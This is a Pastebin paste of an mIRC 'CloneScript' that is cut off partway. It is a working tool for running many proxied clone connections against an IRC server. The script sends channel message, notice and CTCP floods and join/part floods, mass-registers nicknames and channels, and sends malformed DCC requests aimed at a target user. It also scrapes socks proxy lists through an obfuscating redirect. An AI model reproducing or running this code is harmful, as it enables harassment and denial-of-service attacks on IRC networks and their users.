Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- alias cond { .timer -oh 1 0 cond | Clone.Go | .timer 1 1 sdd }
- alias sdd { timer* off | .timer 1 1200 cond }
- Alias off {
- /timer* off
- /echo %scrinfo 8,1Stopped Fucking
- /unset %text*
- }
- alias nicksss { write nickclone.ini $RandNick($Rand(3,9)) }
- alias nw { .timernw1 0 0 /nicksss
- }
- alias ccg {
- ./.timerccgfloodd1 0 9 /sockwrite -nt * privmsg chanserv register %textccg.chan $R(1,8) $+ $R(9,5) $+ $R(a,z) $+ $R(2,3) $+ $R(6,7) $+ $R(y,a) $+ $R(a,m) $+ $R(0,15) $R(a,z) $+ $R(y,z) $+ $R(9,1) $+ $R(y,m) $+ $R(a,j)
- }
- alias jg {
- /set %textccg.chan $+(#muhaha- $+ $R(a,z) $+ $R(a,z) $+ $r(1,99)) $+ , $+ $+(#muhaha- $+ $R(a,z) $+ $R(a,z) $+ $r(1,99)) $+ , $+ $+(#muhaha- $+ $R(a,z) $+ $R(a,z) $+ $r(1,99)) $+ , $+ $+(#muhaha- $+ $R(a,z) $+ $R(a,z) $+ $r(1,99)) $+ , $+ $+(#muhaha- $+ $R(a,z) $+ $R(a,z) $+ $r(1,99)) $+ , $+ $+(#muhaha- $+ $R(a,z) $+ $R(a,z) $+ $r(1,99))
- /.timerccgflood1 0 2 /sockwrite -nt * join %textccg.chan
- /.timerccgflood2 0 7 /ccg
- /.timerccgflood3 0 8 /jg
- /echo %scrinfo 8,1Start Join Clone To %textccg.chan with $Did(Clone,38).Lines clones
- ;/.timer 1 11 /.timercccgflood* off | /.timer 1 12 /unset %textccg.* | /.timer 1 13 /echo %scrinfo 8,1Stoped Join Clone To %textccg.chan with $Did(Clone,38).Lines clones
- }
- Alias text {
- ;/sockwrite -nt * privmsg %textf.chan ACTION $str( $+ %textf.msg,1)
- /sockwrite -nt * privmsg %textf.chan : %textf.msg %textf.msg
- ;/sockwrite -nt * privmsg %textf.chan : $+ $str(%textf.msg,10) $+ $chr(32)
- ;/sockwrite -nt * privmsg %textf.chan : http://www.youtube.com/watch? $+ $R(a,z) $+ = $+ $R(1,9) $+ $R(a,z) $+ $R(A,Z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(1,9) $+ $R(a,z) $+ $R(A,Z) $+ $R(a,z) $+ $R(A,Z) $+ $chr(32)
- }
- ; $+ $rand(0,15) $+ , $+ $rand(0,15) $+ $str( $+ %textf.msg,10) $+ $chr(32) 0,0 $+ $r(a,z)
- Alias t {
- /set %textf.chan $1
- /set %textf.msg $2-
- /.timertflood1 0 11 /sockwrite -nt * join %textf.chan
- /.timertflood2 0 11 /text
- /echo %scrinfo 8,1Start Fucking %textf.chan with $Did(Clone,38).Lines clones
- }
- Alias toff {
- /.timertflood* off
- /echo %scrinfo 8,1Stopped Fucking %textf.chan
- /unset %textf.*
- }
- alias cpc {
- /set %textcpc.chan $1
- /.timercpcflood1 0 1 /sockwrite -nt * PRIVMSG %textcpc.chan : $+ $chr(1) $+ version $+ $chr(1)
- /echo %scrinfo 8,1Start Ctcp FlooD %textcpc.chan with $Did(Clone,38).Lines clones
- }
- Alias cpcoff {
- /.timercpcflood* off
- /echo %scrinfo 8,1Stopped Ctcp FlooD %textcpc.chan
- /unset %textcpc.*
- }
- Alias jc {
- /set %textc.chan $1
- /.timercflood1 0 1 /sockwrite -nt * join %textc.chan
- /echo %scrinfo 8,1Start Join Clone To %textc.chan with $Did(Clone,38).Lines clones
- ;/.timer 1 11 /.timercflood* off | /.timer 1 12 /unset %textc.* | /.timer 1 13 /echo %scrinfo 8,1Stoped Join Clone To %textc.chan with $Did(Clone,38).Lines clones
- }
- Alias pc {
- /set %textp.chan $1
- /set %textp.msg $2-
- /.timerpflood1 0 4 /sockwrite -nt * part %textp.chan : $+ $rand(2,15) $+ , $+ $rand(2,15) %textp.msg $+ $chr(32)
- /echo %scrinfo 8,1Start Part Clone To %textp.chan with $Did(Clone,38).Lines clones
- /.timer 1 6 /.timerpflood* off | /.timer 1 7 /unset %textp.* | /.timer 1 7 /echo %scrinfo 8,1Sopped Part Clone To %textp.chan with $Did(Clone,38).Lines clones
- }
- Alias jp {
- /set %textjp.chan $1
- /set %textjp.msg $2-
- /.timerjpflood1 0 3 /sockwrite -nt * join %textjp.chan
- /.timerjpflood2 0 4 /sockwrite -nt * part %textjp.chan : %textjp.msg | /echo %scrinfo 8,1Start join&part %textjp.chan
- }
- Alias jpoff {
- /.timerjpflood* off
- /echo %scrinfo 8,1Stopped join&part %textjp.chan
- /unset %textjp.*
- }
- Alias Group {
- /sockwrite -nt * ns group %Group.nick %Group.pass
- }
- Alias g {
- /set %Group.nick $1
- /set %Group.pass $2-
- /echo %scrinfo 8,1Start Grouping %Group.nick with $Did(Clone,38).Lines clones
- /.timergflood1 0 7 /Group
- /.timergflood2 0 15 /goff
- }
- Alias goff {
- /.timergflood* off
- /echo %scrinfo 8,1Stopped Grouping %Group.nick
- /unset %Group.*
- }
- Alias Reg {
- /echo %scrinfo 8,1Start Register Nick | /sockwrite -nt * ns register $+($rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z)) $+($rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(a,z),$rand(@,@),$rand(y,y),$rand(a,a),$rand(h,h),$rand(o,o),$rand(o,o),$rand(.,.),$rand(c,c),$rand(o,o),$rand(m,m))
- /.timerrflood1 0 15 /echo %scrinfo 8,1Etmame Marhaleye Sabt Kardane Nick | /.timerrflood2 0 16 /.timerrflood* off
- }
- Alias textl {
- /sockwrite -nt * privmsg %textl.chan : $+ $rand(0,15) $+ , $+ $rand(0,15) $read(slap.ini)
- }
- Alias tl {
- /set %textl.chan $1
- /echo %scrinfo 8,1Gaidan Shoro Shod with $Did(Clone,38).Lines clones
- /.timertflood1 0 10 /sockwrite -nt * join %textl.chan
- /.timertflood2 0 10 /textl
- }
- Alias tloff {
- /.timertflood* off
- /echo %scrinfo 8,1Gaidan Tamam Shod
- /unset %textl.*
- }
- alias cf {
- /set %textcf.chan $1
- /.timercfc1 1 1 sockwrite -nt * PRIVMSG $1 $+(:,$chr(1),DCC) send " $+ $str($rand(a,z) $+$chr(32),250) $+ .txt " 0 2130706433 $+(8192,$chr(1))
- /.timercfc2 1 1 sockwrite -nt * PRIVMSG $1 $+(:,$chr(1),DCC) CHAT $1 127.0.0.1 $me )
- /.timercfc3 1 1 sockwrite -nt * NOTICE $1 :lo0ol
- /.timercfc4 1 1 sockwrite -nt * privmsg $1 :hahahahahahaha
- /echo %scrinfo 11,1Fucked $1 with $Did(Clone,38).Lines clones
- }
- alias cfoff {
- /unset %textcf.chan $1
- /.timercfc1 1 1 timercfc* off
- }
- menu * {
- -
- CloneScript:/Dialog -md Clone Clone
- }
- dialog Clone {
- title "Clone"
- size -1 -1 577 512
- option pixels
- tab "Settings", 75, 8 8 559 463
- box "Server and Connections", 1, 16 33 348 78, tab 75
- edit "irc.iranweb.org", 2, 66 53 218 21, tab 75 autohs
- text "Server:", 3, 24 57 34 16, tab 75
- edit "6667", 4, 312 53 44 21, tab 75 limit 5
- text "Port:", 100, 288 57 22 16, tab 75
- text "Protocol:", 5, 24 83 42 16, tab 75
- combo 6, 66 80 80 114, tab 75 size drop
- text "Connections:", 9, 156 83 66 16, tab 75
- edit "1", 10, 219 80 44 21, tab 75 limit 4
- check "CTCP Replies", 81, 276 82 80 20, tab 75
- box "Debug", 89, 16 115 348 44, tab 75
- radio "Debug OFF", 88, 24 132 71 20, group, tab 75
- radio "Debug ON", 87, 143 132 66 20, tab 75
- check "Hide Server Pings", 86, 256 132 102 20, tab 75
- box "Nickname and Real Name", 8, 16 163 348 124, tab 75
- radio "Random", 11, 24 179 58 20, group, tab 75
- radio "Nicklist:", 12, 24 203 54 20, tab 75
- radio "Other:", 13, 24 227 54 20, tab 75
- edit "", 14, 80 203 204 20, disable tab 75 autohs
- edit "", 15, 80 227 204 20, disable tab 75 limit 100
- button "&Browse", 16, 288 203 68 20, disable tab 75
- text "Real Name:", 82, 24 259 56 16, tab 75
- edit "", 85, 80 257 204 21, tab 75 autohs limit 70
- box "On Connect", 7, 16 291 348 169, tab 75
- text "UserMode:", 17, 24 315 50 16, tab 75
- edit "+i", 18, 80 312 60 20, tab 75
- edit "", 19, 24 355 332 97, tab 75 multi return autohs autovs
- text "Raw IRC Commands:", 20, 24 339 106 16, tab 75
- box "Proxy/Socks List", 26, 371 33 188 427, tab 75
- text "Host:", 27, 379 56 26 16, tab 75
- text "Port:", 28, 379 80 26 16, tab 75
- edit "", 29, 411 53 140 20, tab 75 limit 15
- edit "", 30, 411 77 140 20, tab 75 limit 5
- button "Add", 31, 379 103 83 20, tab 75
- button "Remove", 32, 468 103 83 20, tab 75
- button "Import File", 33, 379 127 83 20, tab 75
- button "Clipboard", 83, 468 127 83 20, tab 75
- list 34, 379 153 172 257, tab 75 size multsel
- text "Number of Proxies:", 101, 379 414 93 12, tab 75
- text "0", 102, 476 414 25 12, tab 75
- button "Remove All", 35, 379 431 172 22, tab 75
- tab "Actions", 76
- box "Nicklist", 37, 16 33 156 363, tab 76
- list 38, 24 49 140 315, tab 76 size extsel
- box "Flood", 92, 179 119 380 96, tab 76
- button "Flood", 55, 187 135 67 21, disable tab 76
- text "No.Sends:", 116, 260 139 50 20, tab 76
- edit "", 117, 310 135 32 21, tab 76 autohs
- text "Delay(secs):", 94, 354 139 60 20, tab 76
- edit "", 95, 414 135 32 21, tab 76 autohs
- text "Repeat every(secs):", 98, 458 131 60 28, tab 76
- edit "", 99, 519 135 32 21, tab 76 autohs
- combo 91, 187 162 67 75, tab 76 size drop
- edit "", 56, 259 162 84 21, tab 76 autohs
- edit "", 57, 347 162 204 21, tab 76 autohs
- check "Msg+Change Nick 3 times", 96, 188 190 140 20, tab 76
- check "Random Text", 97, 363 190 82 20, tab 76
- button "Halt Flood", 93, 484 189 67 21, tab 76
- box "Other", 90, 179 219 380 241, tab 76
- button "Join", 41, 187 235 67 21, disable tab 76
- edit "", 42, 259 235 84 21, tab 76 autohs
- button "Part", 43, 187 259 67 21, disable tab 76
- edit "", 44, 259 259 84 21, tab 76 autohs
- edit "", 45, 347 259 204 21, tab 76 autohs
- button "Join Part", 46, 187 283 67 21, disable tab 76
- edit "", 47, 259 283 84 21, tab 76 autohs
- edit "", 48, 347 283 204 21, tab 76 autohs
- button "Message", 49, 187 307 67 21, disable tab 76
- edit "", 50, 259 307 84 21, tab 76 autohs
- edit "", 51, 347 307 204 21, tab 76 autohs
- button "Notice", 52, 187 331 67 21, disable tab 76
- edit "", 53, 259 331 84 21, tab 76 autohs
- edit "", 54, 347 331 204 21, tab 76 autohs
- button "CTCP", 58, 187 355 67 21, disable tab 76
- edit "", 59, 259 355 84 21, tab 76 autohs
- combo 60, 347 355 204 76, tab 76 size edit drop
- button "DCC Send", 61, 187 379 67 21, disable tab 76
- edit "", 62, 259 379 84 21, tab 76 autohs
- edit "", 63, 347 379 204 21, tab 76 autohs
- button "DCC Chat", 64, 187 403 67 21, disable tab 76
- edit "", 65, 259 403 84 21, tab 76 autohs
- button "Mode", 888, 347 403 67 21, disable tab 76
- edit "", 889, 419 403 84 21, tab 76 multi return autohs autovs
- button "Raw", 73, 187 427 67 21, disable tab 76
- edit "", 74, 259 427 292 25, tab 76 multi return autohs autovs vsbar
- box "Nick", 36, 179 33 380 82, tab 76
- button "Nick", 66, 187 65 67 20, tab 76
- radio "Nicklist:", 68, 259 65 54 20, tab 76
- radio "Other:", 69, 259 88 54 20, tab 76
- edit "", 71, 315 88 164 20, disable tab 76 limit 10
- radio "Random", 67, 259 42 58 20, tab 76
- button "Browse", 72, 484 65 67 20, disable tab 76
- edit "", 70, 315 65 164 20, disable tab 76 autohs
- text "Perform:", 39, 24 372 42 16, tab 76
- combo 40, 72 368 92 60, tab 76 size drop
- box "Statistics", 21, 16 400 156 60, tab 76
- text "Total Connections:", 23, 24 436 92 16, tab 76
- text "Connected Clones:", 22, 24 420 92 16, tab 76
- text "0", 24, 120 420 42 16, tab 76
- text "0", 25, 120 436 42 16, tab 76
- button "&Connect", 77, 8 480 83 25
- button "&Disconnect", 78, 96 480 83 25
- button "&Exit", 79, 488 480 81 25
- button "Connected Proxies", 80, 371 480 112 25
- button "Close Sockets", 84, 184 480 83 25
- tab "Proxy Fetcher", 197
- combo 198, 14 46 545 100, tab 197 size edit drop
- button "&Add URL", 199, 470 70 90 22, tab 197
- list 1100, 14 70 455 90, tab 197 size drop
- box "URL List", 1101, 12 31 550 322, tab 197
- box "Taken Proxies/Socks", 1102, 14 169 146 186, tab 197
- list 1103, 17 184 140 167, tab 197 size
- button "Export", 1104, 245 220 84 20, tab 197
- text "Total Sites:", 1105, 210 280 58 16, tab 197
- text "0", 1106, 275 280 122 16, tab 197
- button "Get List", 1107, 470 139 90 22, tab 197
- button "Clear", 1108, 160 220 84 20, tab 197
- button "Move to Proxy/Socks List", 1109, 160 240 169 20, tab 197
- text "Completed:", 1110, 210 300 58 16, tab 197
- text "0", 1111, 275 300 122 16, tab 197
- text "Socks/Proxies Taken:", 1112, 163 262 106 16, tab 197
- text "0", 1113, 275 262 74 16, tab 197
- button "Remove Selected", 1114, 470 94 90 22, tab 197
- button "Remove All", 1115, 470 117 90 22, tab 197
- }
- On *:Dialog:Clone:Init:*: {
- Did -a $DName 6 Normal
- Did -a $DName 6 Proxy
- Did -a $DName 6 Socks4
- Did -a $DName 6 Socks5
- Did -a $DName 6 Socks4&5
- Did -c $DName 6 5
- Did -a $DName 40 All
- Did -a $DName 40 Selected
- Did -c $DName 40 1
- Did -a $DName 60 PING
- Did -a $DName 60 TIME
- Did -a $DName 60 VERSION
- Did -c $DName 11
- Did -c $DName 67
- Did -c $DName 86
- Did -c $DName 88
- Did -a $DName 91 CTCP
- Did -a $DName 91 NOTICE
- Did -a $DName 91 PRIVMSG
- Did -c $DName 91 1
- Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3d3dy5zb2NrczI0Lm9yZy8%3D&hl=3ed 24
- Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3d3dy5zb2NrczVsaXN0LmNvbS8%3D&hl=3ed 4
- Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3d3dy5zb2NrczU0ZnJlZS5jb20v&hl=3ed 5
- Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3d3dy5saXZlLXNvY2tzLm5ldC8%3D&hl=3ed 4&5
- Did -a $DName 198 http://baesmat.com/dns/index.php?q=d3d3LnByb3h5LWhlYXZlbi5ibG9nc3BvdC5jb20%3D&hl=3ed heaven
- Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3d3dy52aXAtc29ja3MubmV0Lw%3D%3D&hl=3ed live
- Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL2FsbHNvY2tzLmJsb2dzcG90LmNvbQ%3D%3D&hl=3ed vip
- Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL21lZ2Fzb2Nrcy5ibG9nc3BvdC5jb20%3D&hl=3ed megasocks
- Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3NvY2s1dXMuYmxvZ3Nwb3QuY2g%3D&hl=3ed
- Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3d3dy5wcjB4aWVzLm9yZy8%3D&hl=3ed pr0xies
- Did -a $DName 198 http://baesmat.com/dns/index.php?q=aHR0cDovL3Byb3h5c2VydmVybGlzdC5ibG9nc3BvdC5jb20v&hl=3ed proxyserverlist
- Did -c $DName 198 5
- }
- On *:Dialog:Clone:Edit:*: {
- If ($Did == 42) {
- If ($Left($Did(42),1) == $Chr(35)) && ($Count($Did(42),$Chr(32)) <= 1) { Did -e $DName 41 }
- Else { Did -b $DName 41 }
- }
- If ($Did == 889) {
- If ($Len($Did(889)) >= 2) && ($left($Did(889),1) isin +-) {
- Did -e $DName 888
- }
- Else {
- Did -b $DName 888
- }
- }
- If ($Did == 44) {
- If ($Left($Did(44),1) == $Chr(35)) && ($Count($Did(44),$Chr(32)) == 0) { Did -e $DName 43 }
- Else { Did -b $DName 43 }
- }
- If ($Did == 47) {
- If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { Did -e $DName 46 }
- Else { Did -b $DName 46 }
- }
- If ($Did == 50) {
- If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
- Else { Did -b $DName 49 }
- }
- If ($Did == 51) {
- If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
- Else { Did -b $DName 49 }
- }
- If ($Did == 53) {
- If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { Did -e $DName 52 }
- Else { Did -b $DName 52 }
- }
- If ($Did == 54) {
- If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { Did -e $DName 52 }
- Else { Did -b $DName 52 }
- }
- If ($Did == 56) && ($Did(96).State == 1) && ($Did(97).State == 1) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 95) && ($Did(96).State == 1) && ($Did(97).State == 1) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 99) && ($Did(96).State == 1) && ($Did(97).State == 1) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 56) && ($Did(96).State == 1) && ($Did(97).State == 0) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 57) && ($Did(96).State == 1) && ($Did(97).State == 0) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 95) && ($Did(96).State == 1) && ($Did(97).State == 0) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 99) && ($Did(96).State == 1) && ($Did(97).State == 0) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 56) && ($Did(96).State == 0) && ($Did(97).State == 1) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 95) && ($Did(96).State == 0) && ($Did(97).State == 1) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 117) && ($Did(96).State == 0) && ($Did(97).State == 1) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 56) && ($Did(96).State == 0) && ($Did(97).State == 0) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 57) && ($Did(96).State == 0) && ($Did(97).State == 0) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 95) && ($Did(96).State == 0) && ($Did(97).State == 0) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 117) && ($Did(96).State == 0) && ($Did(97).State == 0) {
- If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
- Else { Did -b $DName 55 }
- }
- If ($Did == 59) {
- If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
- Else { Did -b $DName 58 }
- }
- If ($Did == 60) {
- If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
- Else { Did -b $DName 58 }
- }
- If ($Did == 62) {
- If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
- Else { Did -b $DName 61 }
- }
- If ($Did == 63) {
- If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
- Else { Did -b $DName 61 }
- }
- If ($Did == 65) {
- If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { Did -e $DName 64 }
- Else { Did -b $DName 64 }
- }
- If ($Did == 74) {
- If ($Len($Did(74)) >= 1) { Did -e $DName 73 }
- Else { Did -b $DName 73 }
- }
- If ($Did == 70) {
- If ($Did(70)) { Did -e $DName 66 }
- Else { Did -b $DName 66 }
- }
- If ($Did == 71) {
- If ($Did(71)) { Did -e $DName 66 }
- Else { Did -b $DName 66 }
- }
- }
- On *:Dialog:Clone:Close:*: {
- SockClose Clone.*
- }
- Alias Clone.Error { Var %E = $Input($1-,o,Clone) }
- Alias Clone.RandomText {
- var %words = $rand(1,10), %r1
- while (%words) {
- var %letters = $rand(1,10), %r2
- while (%letters) {
- var %r2 = %r2 $+ $rand(a,z)
- dec %letters
- }
- var %r1 = %r1 %r2
- dec %words
- }
- return %r1
- }
- Alias genVars {
- var %i = $Did(Clone,38,0).sel, %t = 0, %n, %
- while (%i) {
- var %x = 1
- while ($sock(Clone.*,%x) && $sock(Clone.*,%x).mark != $did(clone,38,$did(Clone,38,%i).sel).text) { inc %x }
- if ($sock(Clone.*,%x).mark == $did(clone,38,$did(Clone,38,%i).sel).text) { var %n = $sock(Clone.*,%x) }
- if ($calc($len(%n) + 1 + $len(%all)) > 900) {
- set -e %botnicklistvariable. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
- inc %t
- var %all
- }
- var %all = $addtok(%all,%n,32)
- dec %i
- }
- set -e %botnicklistvariable. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
- }
- Alias Clone.Actions {
- If ($1 == :KEY:) {
- var %key = $2
- tokenize 32 $3-
- }
- If ($1 == All) {
- Var %I = 1
- While ($Sock(Clone.*,%I)) {
- If ($2 == JOINPART) {
- SockWrite -nt $Sock(Clone.*,%I) JOIN $3
- SockWrite -nt $Sock(Clone.*,%I) PART $3-
- }
- ElseIf ($2 == raw) {
- SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,$!Clone.Name,$Clone.Nick($Sock(Clone.*,%I)))
- }
- ElseIf ($2 == mode) {
- SockWrite -nt $Sock(Clone.*,%I) mode $Clone.Nick($Sock(Clone.*,%I)) $3
- }
- ElseIf ($2 == nick) {
- If ($Did(Clone,67).State == 1) {
- SockWrite -nt $Sock(Clone.*,%I) nick $Clone.RandNick
- }
- If ($Did(Clone,68).State == 1) {
- SockWrite -nt $Sock(Clone.*,%I) nick $Gettok($Read($Did(Clone,70)),1,32)
- }
- If ($Did(Clone,69).State == 1) {
- SockWrite -nt $Sock(Clone.*,%I) nick $+($Did(Clone,71),$Clone.RandNick(3))
- }
- }
- Else {
- SockWrite -nt $Sock(Clone.*,%I) $2-
- }
- Inc %I
- }
- }
- If ($1 == Selected) {
- Var %I = 1
- While ($Did(Clone,38,%I)) {
- If ($Did(Clone,38,%I).State == 1) {
- Var %J = 1
- While ($Sock(Clone.*,%J)) {
- If ($Sock(Clone.*,%J).Mark == $Did(Clone,38,%I)) {
- If ($2 == JOINPART) {
- SockWrite -nt $Sock(Clone.*,%J) JOIN $3
- SockWrite -nt $Sock(Clone.*,%J) PART $3-
- }
- ElseIf ($2 == raw) {
- SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,$!Clone.Name,$Clone.Nick($Sock(Clone.*,%J)))
- }
- ElseIf ($2 == mode) {
- SockWrite -nt $Sock(Clone.*,%J) mode $Clone.Nick($Sock(Clone.*,%J)) $3
- }
- ElseIf ($2 == nick) {
- If ($Did(Clone,67).State == 1) {
- SockWrite -nt $Sock(Clone.*,%J) nick $Clone.RandNick
- }
- If ($Did(Clone,68).State == 1) {
- SockWrite -nt $Sock(Clone.*,%J) nick $Gettok($Read($Did(Clone,70)),1,32)
- }
- If ($Did(Clone,69).State == 1) {
- SockWrite -nt $Sock(Clone.*,%J) nick $Did(Clone,71)
- }
- }
- Else {
- SockWrite -nt $Sock(Clone.*,%J) $2-
- }
- }
- Inc %J
- }
- }
- Inc %I
- }
- }
- }
- Alias Clone.Flood {
- var %key = $left($md5($ticks),10)
- genVars %key
- If ($Did(91) == CTCP) && ($Did(99) isnum) {
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+ }
- }
- If ($Did(91) == CTCP) && ($Did(99) !isnum) {
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+
- }
- If ($Did(91) == NOTICE) && ($Did(99) isnum) {
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57) }
- }
- If ($Did(91) == NOTICE) && ($Did(99) !isnum) {
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57)
- }
- If ($Did(91) == PRIVMSG) && ($Did(99) isnum) && ($Did(96).State == 0) && ($Did(97).State == 0) {
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
- .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) }
- }
- If ($Did(91) == PRIVMSG) && ($Did(99) !isnum) && ($Did(96).State == 0) && ($Did(97).State == 0) {
